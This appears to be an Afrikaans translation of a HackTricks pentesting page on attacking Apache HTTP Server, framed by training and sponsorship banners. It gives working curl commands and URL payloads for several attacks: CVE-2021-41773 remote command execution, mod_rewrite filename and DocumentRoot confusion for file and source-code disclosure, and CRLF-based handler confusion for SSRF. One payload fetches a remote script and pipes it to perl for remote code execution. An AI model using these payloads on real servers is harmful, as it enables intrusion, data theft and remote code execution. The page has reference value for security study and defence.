# Apache {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks * Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Uitvoerbare PHP uitbreidings Kyk watter uitbreidings die Apache bediener uitvoer. Om hulle te soek kan jy uitvoer: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` Ook, sommige plekke waar jy hierdie konfigurasie kan vind, is: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf /etc/apache2/mods-available/php7.3.conf /etc/apache2/mods-enabled/php7.3.conf ``` ## CVE-2021-41773 {% code overflow="wrap" %} ```bash curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname' uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` {% endcode %} ## Confusion Attack Hierdie tipe aanvalle is bekendgestel en gedokumenteer [**deur Orange in hierdie blogpos**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) en die volgende is 'n opsomming. Die "confusion" aanval misbruik basies hoe die tientalle modules wat saamwerk om 'n Apache te skep nie perfek gesinchroniseer werk nie, en om sommige van hulle onvoorspelbare data te laat wysig kan 'n kwesbaarheid in 'n latere module veroorsaak. ### Filename Confusion #### Truncation Die **`mod_rewrite`** sal die inhoud van `r->filename` na die karakter `?` afsnit ([_**modules/mappers/mod\_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod\_rewrite.c#L4141)). Dit is nie heeltemal verkeerd nie, aangesien die meeste modules `r->filename` as 'n URL sal behandel. Maar in ander gevalle sal dit as 'n lêer pad behandel word, wat 'n probleem kan veroorsaak. * **Path Truncation** Dit is moontlik om `mod_rewrite` te misbruik soos in die volgende reëlvoorbeeld om toegang te verkry tot ander lêers binne die lêerstelsel, deur eenvoudig die laaste deel van die verwagte pad te verwyder en 'n `?` by te voeg: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" # Expected curl http://server/user/orange # the output of file `/var/user/orange/profile.yml` # Attack curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` * **Misleidende RewriteFlag Toewysing** In die volgende herskryfreël, solank die URL eindig op .php, sal dit behandel en uitgevoer word as php. Daarom is dit moontlik om 'n URL te stuur wat eindig op .php na die `?` karakter terwyl 'n ander tipe lêer (soos 'n beeld) met kwaadwillige php-kode daarin gelaai word: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] # Attacker uploads a gif file with some php code curl http://server/upload/1.gif # GIF89a # Make the server execute the php code curl http://server/upload/1.gif%3fooo.php # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` #### **ACL Bypass** Dit is moontlik om toegang te verkry tot lêers wat die gebruiker nie toegang toe behoort te hê nie, selfs al behoort die toegang ontken te word met konfigurasies soos: ```xml AuthType Basic AuthName "Admin Panel" AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` Dit is omdat PHP-FPM standaard URL's ontvang wat eindig op `.php`, soos `http://server/admin.php%3Fooo.php` en omdat PHP-FPM alles na die karakter `?` sal verwyder, sal die vorige URL toelaat om `/admin.php` te laai selfs al het die vorige reël dit verbied. ### DocumentRoot Verwarring ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` 'n Interessante feit oor Apache is dat die vorige herskrywing sal probeer om die lêer vanaf beide die documentRoot en vanaf root te benader. So, 'n versoek na `https://server/abouth.html` sal die lêer in `/var/www/html/about.html` en `/about.html` in die lêerstelsel nagaan. Dit kan basies misbruik word om toegang te verkry tot lêers in die lêerstelsel. #### **Bediener-kant Bronkode Ontsluiting** * **Ontsluit CGI Bronkode** Net om 'n %3F aan die einde by te voeg, is genoeg om die bronkode van 'n cgi-module te ontsluit: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # #!/usr/bin/perl # use CGI; # ... # # the source code of download.cgi ``` * **Ontbloot PHP Bronnekode** As 'n bediener verskillende domeine het, met een daarvan 'n statiese domein, kan dit misbruik word om die lêerstelsel te traverseer en php kode te lek: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" # the source code of config.php ``` #### **Plaaslike Gadgets Manipulasie** Die hoofprobleem met die vorige aanval is dat by verstek die meeste toegang oor die lêerstelsel ontken sal word soos in Apache HTTP Server se [konfigurasiesjabloon](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml AllowOverride None Require all denied ``` However, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) bedryfstelsels laat standaard `/usr/share` toe: ```xml AllowOverride None Require all granted ``` Therefore, it would be possible to **misbruik lêers wat binne `/usr/share` in hierdie verspreidings geleë is.** **Plaaslike Gadget tot Inligtingsontsluiting** * **Apache HTTP Server** met **websocketd** mag die **dump-env.php** skrip by **/usr/share/doc/websocketd/examples/php/** blootstel, wat sensitiewe omgewing veranderlikes kan lek. * Bedieners met **Nginx** of **Jetty** mag sensitiewe webtoepassing inligting (bv. **web.xml**) blootstel deur hul standaard web wortels wat onder **/usr/share** geplaas is: * **/usr/share/nginx/html/** * **/usr/share/jetty9/etc/** * **/usr/share/jetty9/webapps/** **Plaaslike Gadget tot XSS** * Op Ubuntu Desktop met **LibreOffice geïnstalleer**, kan die ontploffing van die hulp lêers se taal skakel funksie lei tot **Cross-Site Scripting (XSS)**. Manipulasie van die URL by **/usr/share/libreoffice/help/help.html** kan herlei na kwaadwillige bladsye of ouer weergawes deur **onveilige RewriteRule**. **Plaaslike Gadget tot LFI** * As PHP of sekere front-end pakkette soos **JpGraph** of **jQuery-jFeed** geïnstalleer is, kan hul lêers misbruik word om sensitiewe lêers soos **/etc/passwd** te lees: * **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** * **/usr/share/javascript/jquery-jfeed/proxy.php** * **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** **Plaaslike Gadget tot SSRF** * Deur **MagpieRSS's magpie\_debug.php** by **/usr/share/php/magpierss/scripts/magpie\_debug.php** te gebruik, kan 'n SSRF kwesbaarheid maklik geskep word, wat 'n toegangspunt tot verdere ontploffings bied. **Plaaslike Gadget tot RCE** * Geleenthede vir **Remote Code Execution (RCE)** is groot, met kwesbare installasies soos 'n verouderde **PHPUnit** of **phpLiteAdmin**. Hierdie kan misbruik word om arbitrêre kode uit te voer, wat die uitgebreide potensiaal van plaaslike gadgets manipulasie toon. #### **Jailbreak van Plaaslike Gadgets** Dit is ook moontlik om te jailbreak vanaf die toegelate vouers deur simlinks te volg wat deur geïnstalleerde sagteware in daardie vouers gegenereer is, soos: * **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` * **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` * **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/` * **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` * **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` Boonop, deur simlinks te misbruik was dit moontlik om **RCE in Redmine te verkry.** ### Handler Verwarring Hierdie aanval benut die oorvleueling in funksionaliteit tussen die `AddHandler` en `AddType` riglyne, wat albei gebruik kan word om **PHP verwerking te aktiveer**. Oorspronklik het hierdie riglyne verskillende velde beïnvloed (`r->handler` en `r->content_type` onderskeidelik) in die bediener se interne struktuur. egter, as gevolg van erflike kode, hanteer Apache hierdie riglyne wisselvallig onder sekere omstandighede, wat `r->content_type` in `r->handler` omskakel as die eerste ingestel is en die laaste nie. Boonop, in die Apache HTTP Server (`server/config.c#L420`), as `r->handler` leeg is voordat `ap_run_handler()` uitgevoer word, **gebruik die bediener `r->content_type` as die handler**, wat effektief `AddType` en `AddHandler` identies in effek maak. #### **Oorskry Handler om PHP Bronskode te Ontsluit** In [**hierdie praatjie**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013\_dmitriev-maksim.pdf), is 'n kwesbaarheid aangebied waar 'n verkeerde `Content-Length` wat deur 'n kliënt gestuur is, kan veroorsaak dat Apache per ongeluk **die PHP bronskode teruggee**. Dit was omdat 'n fout hantering probleem met ModSecurity en die Apache Portable Runtime (APR), waar 'n dubbele antwoord lei tot die oorskryding van `r->content_type` na `text/html`.\ Omdat ModSecurity nie behoorlik terugkeerwaardes hanteer nie, sou dit die PHP kode teruggee en dit nie interpreteer nie. #### **Oorskry Handler om XXXX** TODO: Oranje het hierdie kwesbaarheid nog nie bekend gemaak nie ### **Roep Arbitrêre Handlers aan** As 'n aanvaller in staat is om die **`Content-Type`** kop in 'n bediener antwoord te beheer, sal hy in staat wees om **arbitrêre module handlers aan te roep**. egter, teen die tyd dat die aanvaller dit beheer, sal die meeste van die proses van die versoek gedoen wees. egter, dit is moontlik om die versoekproses te **herbegin deur die `Location` kop te misbruik** omdat as die **r**eturned `Status` 200 is en die `Location` kop met 'n `/` begin, die antwoord as 'n Server-Side Redirection behandel word en verwerk moet word. Volgens [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (spesifikasie oor CGI) in [Afdeling 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) definieer 'n Plaaslike Herlei Antwoord gedrag: > Die CGI skrip kan 'n URI pad en navraag-string (‘local-pathquery’) vir 'n plaaslike hulpbron in 'n Location kop veld teruggee. Dit dui aan vir die bediener dat dit die versoek moet herverwerk met die pad wat gespesifiseer is. Daarom, om hierdie aanval uit te voer, is een van die volgende kwesbaarhede nodig: * CRLF Injekie in die CGI antwoord koppe * SSRF met volledige beheer van die antwoord koppe #### **Arbitrêre Handler tot Inligtingsontsluiting** Byvoorbeeld, `/server-status` moet slegs plaaslik toeganklik wees: ```xml SetHandler server-status Require local ``` Dit is moontlik om toegang te verkry deur die `Content-Type` op `server-status` in te stel en die Location-header wat met `/` begin. ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` #### **Arbitraire Handler na Volledige SSRF** Herlei na `mod_proxy` om enige protokol op enige URL te benader: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a Content-Type:proxy: http://example.com/%3F %0d%0a %0d%0a ``` However, the `X-Forwarded-For` header is added preventing access to cloud metadata endpoints. #### **Arbitraire Handler om Lokale Unix Domein Socket te Benader** Toegang tot PHP-FPM se lokale Unix Domein Socket om 'n PHP backdoor wat in `/tmp/` geleë is, uit te voer: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a %0d%0a ``` #### **Arbitraire Handler na RCE** Die amptelike [PHP Docker](https://hub.docker.com/\_/php) beeld sluit PEAR (`Pearcmd.php`) in, 'n opdraglyn PHP-pakketbestuur gereedskap, wat misbruik kan word om RCE te verkry: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} orange.tw/x|perl ) %2b alltests.php %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` Kontroleer [**Docker PHP LFI Samevatting**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), geskryf deur [Phith0n](https://x.com/phithon\_xg) vir die besonderhede van hierdie tegniek. ## Verwysings * [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks * Kontroleer die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}